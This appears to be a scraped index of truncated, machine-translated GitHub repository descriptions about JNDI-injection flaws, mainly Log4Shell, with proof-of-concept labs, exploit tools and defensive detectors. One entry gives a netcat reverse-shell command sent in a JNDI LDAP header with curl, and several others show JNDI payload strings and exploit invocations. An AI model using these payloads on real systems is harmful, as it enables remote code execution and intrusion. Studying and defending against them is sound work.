Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Cancel changes プロジェクトをMavenプロジェクトとして設定した後、実行します（注意：高バージョンのJDKでは失敗する可能性があります。JDK 1.8.65を使用することを推奨します）。 FastjsondemoApplication.java のmain関数を実行するだけです。 TouchFile.javaファイル import java.lang.Runtime; import java.lang.Process; public class TouchFile static try Runtime rt =...

log4shell-docker-lab

CVE-2021-44228용 Log4Shell 도커 랩 구성 요소 이 도커 랩은 다음 세 가지 구성 요소를 사용합니다: 취약한 spring-boot 애플리케이션 원격 코드 실행에 사용되는 .class 파일을 호스팅하는 HTTP 서버 특정 LDAP 쿼리를 HTTP 서버로 리디렉션하는 LDAP 리퍼럴 서버 도커 랩 설정 1. 도커 네트워크 docker network create log4shell 2. 도커 이미지 빌드 $ docker build -t log4shell-vulnapp vulnapp $ docker build -t...

cloudrasp-log4j2

CloudArmor · 런타임 애플리케이션 자가 보호 모듈 - Log4j2 버전 간체 중국어 이 프로젝트는 Log4j2 CVE-2021-44228 방어를 위해 특별히 제작된 CloudArmor의 로컬 버전입니다. 이 프로젝트를 실행하는 데 네트워크 연결이 필요하지 않습니다. 프로덕션 환경에 배포하기 전에 반드시 테스트하십시오. 애플리케이션 자가 보호 모듈은 RASP 기술을 사용하여 Java 애플리케이션에 프로브를 주입합니다. log4j2 탐지는 실행 컨텍스트를 감지하여 이루어지며, 비웹 비즈니스 프로그램에도 보호를 제공할 수...

CVE-2023-25194

이 도구는 보안 테스트 목적으로만 사용됩니다. 불법 활동에 관여하지 마십시오. 오용으로 인한 모든 결과는 전적으로 사용자 본인의 책임입니다. CVE-2023-25194 탐지 도구는 JNDI를 활용하여 DNS 로그 플랫폼이 반환한 응답 콘텐츠를 로드함으로써 취약점 존재 여부를 판단합니다. 응답 콘텐츠 판단 로직은 테스트를 통해 수신된 콘텐츠의 성공적인 활용을 기반으로 합니다. 일부 응답 콘텐츠는 DNS 로그 플랫폼을 통해 대상과 연결을 설정할 수 있지만, 악용이 불가능하여 최종적으로 무시됩니다. python3...

CVE-2020-10673

취약점 설명 최근, Asiainfo Security 네트워크 공격 방어 연구소는 jackson-databind가 JNDI 주입 블랙리스트 클래스를 하나 업데이트한 것을 추적했습니다. 프로젝트 패키지에 해당 클래스의 jar 패키지가 존재하고 JDK 버전이 주입 조건을 충족하면 JNDI 주입 방식을 통해 원격 코드 실행을 유발할 수 있습니다. 해당 클래스는 com.caucho.config.types.ResourceRef입니다. 취약점 번호： CVE-2020-10673 Jackson 내부 번호 2660 영향 범위...

hka-seminar-log4shell

セミナー論文 - Log4Shell脆弱性デモンストレーション CVE-2021-44228 セキュリティに関する注意事項 このリポジトリは、セキュリティ関連のセミナー論文の一環として、教育およびデモンストレーション目的のみ に使用されます。本コードを本番環境や明示的な許可なしにシステムに対して使用しないでください。この構成は、ロギング、名前解決、クラスの動的ローディングといった一見無害な機能が組み合わさると、どのように複雑な脆弱性が生じるかを示し、セキュリティ意識を高めることを目的としています。 目次 1. プロジェクト概要 1.1 セミナー論文の目的 1.2 デモンストレーションの概...

CVE-2024-20931

CVE-2024-20931 CVE-2024-20931, 이는 CVE-2023-21839 Oracle WebLogic 패치의 우회입니다. 사용법: JNDI를 설정합니다. https://github.com/WhiteHSBG/JNDIExploit/ 의 특정 버전을 사용하세요. 익스플로잇: java -jar CVE-2024-20931.jar Please input target IP:127.0.0.1 Please input target port:7001 Please input RMI...

log4shell-tools

log4shell.tools log4shell.tools는 최근 log4j의 취약점CVE-2021-44228 및 CVE-2021-45046에 영향을 받는지 테스트를 실행할 수 있는 도구입니다. 이것은 https://log4shell.alexbakker.me를 실행하는 코드입니다. 코드를 검사하거나 자신의 환경에서 인스턴스를 실행하려면 올바른 위치에 오셨습니다. 작동 방식 이 도구는 테스트용 고유 ID를 생성합니다. 시작을 클릭하면 다음과 같은 텍스트가 생성됩니다:...

JNDI-Injection-Exploit

JNDI-Injection-Exploit JNDI 인젝션에 관한 자료 중국어 문서 관련 글 설명 JNDI-Injection-Exploit는 작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다. RMI 서버와 LDAP 서버는 marshals를 기반으로 하며 HTTP 서버와 연결하기 위해 추가로 수정되었습니다. 이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이러한 링크를 POC 에 삽입하여 취약점을 테스트할 수 있습니다. 예를 들어, 다음은...

log4shell-homework9

과제 9 – Log4Shell 취약점으로부터 시스템 보호 개요 이 프로젝트는 Dockerized Java 웹 애플리케이션을 취약한 Log4j 2.14.1과 함께 사용하여 Log4Shell 취약점CVE-2021-44228의 공격 및 완화를 보여줍니다. 또한 시뮬레이션된 악성 LDAP 서버를 포함하여 JNDI 인젝션 공격 경로를 설명합니다. 공격 후, Log4j 업그레이드, 입력 검증, MITRE D3FEND 및 ATT&CK 권장 사항 적용을 통해 시스템을 강화합니다. 폴더 구조 log4shell-homework9/ ├──...

fail2ban-log4j

fail2ban-log4j log4j CVE-2021-44228에 대한 공격을 탐지하는 fail2ban 필터 설치 이 파일을 fail2ban filter.d 디렉토리에 복사하세요. 보통 다음과 같은 경로에 있습니다. /etc/fail2ban/filter.d 또는 유사한 위치. jail.local 또는 jail.conf에 apache-jndi 섹션을 추가하세요: apache-jndi enabled = true filter = apache-jndi port = http,https logpath =...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Apache Log4j LDAP 조회 취약점의 개념 증명PoC 취약점에 대한 자세한 내용은 여기에서 확인할 수 있습니다: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ 악성 객체를 반환하는 제공된 LDAP 서버를 실행하려면 어떻게 해야 하나요? java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open...

log4jcheck

Northwave Log4j CVE-2021-44228 체커 2021년 12월 10일 금요일, Java 라이브러리 'log4j'의 원격 코드 실행RCE 취약점을 다루는 새로운 개념 증명1이 공개되었습니다. 이 취약점은 사전에 소프트웨어 개발자에게 공개되지 않았습니다. 해당 취약점은 CVE-2021-442283로 추적되고 있습니다. 자세한 내용은 Northwave Threat Response4에서 확인할 수 있습니다. Northwave는 일반적인 HTTP 헤더와 HTTP GET 요청의 일부로 페이로드를 주입하여 취약한 시스템을...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell 개념 증명 Apache Log4j2 =2.14.1의 설정, 로그 메시지 및 매개변수에 사용되는 JNDI 기능은 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트로부터 보호하지 않습니다. 메시지 조회 대체가 활성화된 경우 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다. 고객이 이 취약점의 작동 방식을 이해할 수 있도록 간단하면서도 작동하는 개념 증명을 포함한 이 리포지토리를 준비했습니다. 사전 요구...

nmap-log4shell

Apache Log4j RCECVE-2021-44228 탐지를 위한 Nmap Log4Shell NSE 스크립트 nmap-log4shell은 네트워크 전반에 걸쳐 Apache Log4j RCECVE-2021-44228 취약점을 탐지하기 위한 NSE 스크립트입니다. 이 스크립트는 HTTP 헤더기본값 또는 TCP/UDP 소켓을 통해 log4shell 악용 페이로드를 주입할 수 있습니다. 취약점 CVE-2021-44228 은 Apache Log4j 2의 원격 코드 실행RCE 취약점입니다. 인증되지 않은 원격 공격자는 취약한 버전의...

CVE-2021-44228-Demo

CVE-2021-44228-Demo CVE-2021-44228을 활용하여 RMI와 LDAP 두 가지 방식으로 코드를 원격 주입하는 예제입니다. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer와 LdapServer 실행은 Python3에 의존합니...

CVE-2020-14645

CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor JNDI injection getDatabaseMetaData 프로젝트는 다음에 의존합니다: https://github.com/5up3rc/weblogiccmd 데모 요구 사항 1. JDK 버전 JDK6u211/7u201/8u191 2. Weblogic 버전 12.2.1.4.0 불법적으로 사용하지 마십시오!!!!!!!! 참고 자료 1. https://www.anquanke.com/post/id/210724 2...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Base64로 변환 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= 페이로드 curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 개념 증명 Log4j PoC 팔로우 Youtube Twitter...

dubbo-rce

CVE-2023-23638 学習・研究のみを目的としています ZooKeeper はご自身で用意してください テスト環境は Java 8 です。その他のバージョンは未テストのため、動作を保証できません 再現する際は DemoComsumer に VM 引数を追加する必要があります: -Ddubbo.hessian.allowNonSerializable=true, 詳細は https://su18.org/post/hessian/serializable を参照してください 分析記事:...

log4j-poc

log4j-poc CVE-2021-44228 Log4Shell용 LDAP RCE 익스플로잇 설명 포트 8080의 데모 Tomcat 8 서버에는 취약한 앱log4shell이 배포되어 있으며, 서버는 user-agent 공격에도 취약합니다. 이 데모의 원격 익스플로잇 앱은 https://github.com/kozmer/log4j-shell-poc 에서 찾은 것을 기반으로 합니다. 이 데모 tomcat 서버Tomcat 8.5.3, Java 1.8.0u51는 로깅에 Log4J2를 사용하도록 재구성되었습니다비표준 구성. 새로운...